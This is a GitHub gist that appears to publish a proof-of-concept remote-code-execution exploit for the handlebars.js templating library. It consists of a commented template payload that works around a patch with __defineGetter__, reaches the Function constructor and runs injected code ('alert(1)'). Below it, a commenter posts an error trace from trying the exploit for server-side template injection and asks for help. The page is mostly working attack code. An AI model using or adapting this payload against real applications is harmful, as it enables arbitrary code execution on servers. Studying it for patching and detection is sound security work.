Skip to content

Instantly share code, notes, and snippets.

@itszn
Created September 16, 2019 00:59
Show Gist options
  • Save itszn/e956026e610dc12bd64e71a1e2725d81 to your computer and use it in GitHub Desktop.
Save itszn/e956026e610dc12bd64e71a1e2725d81 to your computer and use it in GitHub Desktop.
handlebars.js rce 0day
//First we want to create an array
{{#with "a" as |str|}}
{{#with split as |list|}}
//Store some function that returns a truthy value into the array
//We use arrays to hold functions because handlebars will call functions
{{this.pop}}
{{this.push this.toString}}
{{this.pop}}
// Now we want to bind our pop to the list because we will need to use it
// later and handlebars always calls with the current context as this
// Normally there is an issue with bind, because it will be called on the
// current context. So we have to set the current context to the function
// we want to bind. We can't do this with #with because it will call the
// function, but #blockHelperMissing will preserve the function
{{#blockHelperMissing list.pop}}
{{#blockHelperMissing (list.pop.bind list)}}
{{#with this.valueOf as |listPop|}}
// Now we want to use __defineGetter__ to make propertyIsEnumerable always
// return a truthy value. We can assign it using the bound listPop function
{{#blockHelperMissing str.sub}}
{{this.__defineGetter__ "propertyIsEnumerable" listPop}}
{{/blockHelperMissing}}
// Now we have bypassed the patch and can access `constructor` again
{#blockHelperMissing (lookup str.sub "constructor")}}
{/blockHelperMissing}}
// The rest of this is the original RCE payload
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup str.sub "constructor")}}
{{this.pop}}
{{#with str.split as |codelist|}}
{{this.pop}}
{{this.push "alert(1)"}}
{{this.pop}}
{{#each conslist}}
{{#with (str.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
{{/blockHelperMissing}}
{{/blockHelperMissing}}
{{/with}}
{{/with}}
@kiven7299
Copy link

kiven7299 commented Oct 5, 2020

I encounter an error as exploiting SSTI with this PoC.

TypeError: Cannot read property 'call' of undefined
   at eval (eval at createFunctionContext (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:257:23), <anonymous>:11:45)
   at prog (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/runtime.js:229:12)
   at String.<anonymous> (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:22:14)
   at eval (eval at createFunctionContext (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:257:23), <anonymous>:5:37)
   at prog (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/runtime.js:229:12)
   at Object.<anonymous> (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:22:14)
   at Object.eval [as main] (eval at createFunctionContext (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:257:23), <anonymous>:5:37)
   at main (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/runtime.js:176:32)
   at ret (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/runtime.js:179:12)
   at ret (/[DOC_ROOT]/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:526:21)

Do you have any idea on fixing the error? please help me

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment